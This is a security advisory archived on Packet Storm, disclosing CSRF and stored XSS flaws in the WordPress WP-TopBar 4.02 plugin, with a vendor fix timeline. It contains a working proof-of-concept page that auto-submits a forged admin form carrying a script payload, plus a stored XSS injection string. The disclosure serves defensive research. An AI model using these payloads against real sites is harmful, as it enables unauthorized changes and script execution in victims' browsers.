seeing is believing

WordPress Wp-TopBar 4.02 CSRF / XSS

WordPress Wp-TopBar 4.02 CSRF / XSS
Posted Sep 20, 2012
Authored by Blake Entrekin

WordPress Wp-TopBar plugin version 4.02 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
MD5 | 8711d5fee1ad2a15d09e443d1c9ccf98

WordPress Wp-TopBar 4.02 CSRF / XSS

Change Mirror Download
# Exploit Title: WP-TopBar 4.02 CSRF
# Date: 2012-09-13
# Author: Blake Entrekin
# Version: 4.02
# Download Link: http://downloads.wordpress.org/plugin/wp-topbar.4.02.zip
# Vendor Link: http://wordpress.org/extend/plugins/wp-topbar/
-------------------
CSRF
-------------------


The wp-topbar.php does not utilize a nonce value when submitting any POST
changes. As a result, this page is vulnerable to Cross Site Request
Forgery.

Proof of Concept Code:

<html>
<head>
<title></title>
</head>
<body>
<form name="testform" action="
https://localhost/wordpress/wp-admin/admin.php?page=wp-topbar.php&action=topbartext&barid=1"
method="POST">
<br>
<input type="hidden" name="wptbbartext"
value="</script><script>onload=alert(3)</script>">
<input type="hidden" name="wptblinktext" value="whatever">
<input type="hidden" name="wptblinkurl"
value="http%3A%2F%2Fwordpress.org%2Fextend%2Fplugins%2Fwp-topbar%2F">
<input type="hidden" name="wptblinktarget" value="blank">
<input type="hidden" name="wptbenableimage" value="false">
<input type="hidden" name="wptbbarimage" value="">
<input type="hidden" name="update_wptbSettings"
value="Update+Settings">

</form>
<script type="text/javascript">
document.testform.submit();
</script>
</body>
</html>

This script takes advantage of a logged in user to submit the required
variables needed to update an existing TopBar with the required settings
that commits and executes a Stored XSS vulnerability from a previous
disclosure. In this example it was tested against a wordpress application
running on �localhost� and altered a TopBar with the �id� of 1. This
version of WP-TopBar creates a default TopBar with the id of 1 upon
installation. Any subsequent TopBar created has an id incremented. It can
be assumed that a user is more then likely to still have the default TopBar
and easily attack it.

# Vulnerability Timeline
2012-09-04 � Vulnerability Reported
2012-09-05 � Developer Acknowledges
2012-09-10 � Developer Issues Fix (v4.03)
2012-09-15 - Vulnerability Disclosed

--
Blake Entrekin
Independent Security Consultant/
Web Penetration Tester
http://EntreSec.blogspot.com
Twitter: @entresec <https://twitter.com/#%21/entresec>


# Exploit Title: WP-TopBar 4.02 Authenticated Stored XSS
# Date: 2012-09-13
# Author: Blake Entrekin
# Version: 4.02
# Download Link: http://downloads.wordpress.org/plugin/wp-topbar.4.02.zip
# Vendor Link: http://wordpress.org/extend/plugins/wp-topbar/
-------------------
Stored XSS
-------------------

The message field (wptbbartext variable) of the wp-topbar.php page is
vulnerable to Stored Cross-site Scripting. This variable is only
accessible via the admin menu of the plugin.

The following code is an example:

</script><script>alert(3)</script>

This code is committed to the database upon submission and will run both
under the admin interface when the bar is shown as a preview as well as the
front facing page where the bar is set to display.

# Vulnerability Timeline
2012-09-04 � Vulnerability Reported
2012-09-05 � Developer Acknowledges
2012-09-10 � Developer Issues Fix (v4.03)
2012-09-15 - Vulnerability Disclosed

--
Blake Entrekin
Independent Security Consultant/
Web Penetration Tester
http://EntreSec.blogspot.com
Twitter: @entresec <https://twitter.com/#%21/entresec>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    5 Files
  • 2
    Sep 2nd
    5 Files
  • 3
    Sep 3rd
    3 Files
  • 4
    Sep 4th
    13 Files
  • 5
    Sep 5th
    16 Files
  • 6
    Sep 6th
    15 Files
  • 7
    Sep 7th
    20 Files
  • 8
    Sep 8th
    16 Files
  • 9
    Sep 9th
    4 Files
  • 10
    Sep 10th
    2 Files
  • 11
    Sep 11th
    15 Files
  • 12
    Sep 12th
    19 Files
  • 13
    Sep 13th
    20 Files
  • 14
    Sep 14th
    38 Files
  • 15
    Sep 15th
    31 Files
  • 16
    Sep 16th
    1 Files
  • 17
    Sep 17th
    7 Files
  • 18
    Sep 18th
    15 Files
  • 19
    Sep 19th
    40 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close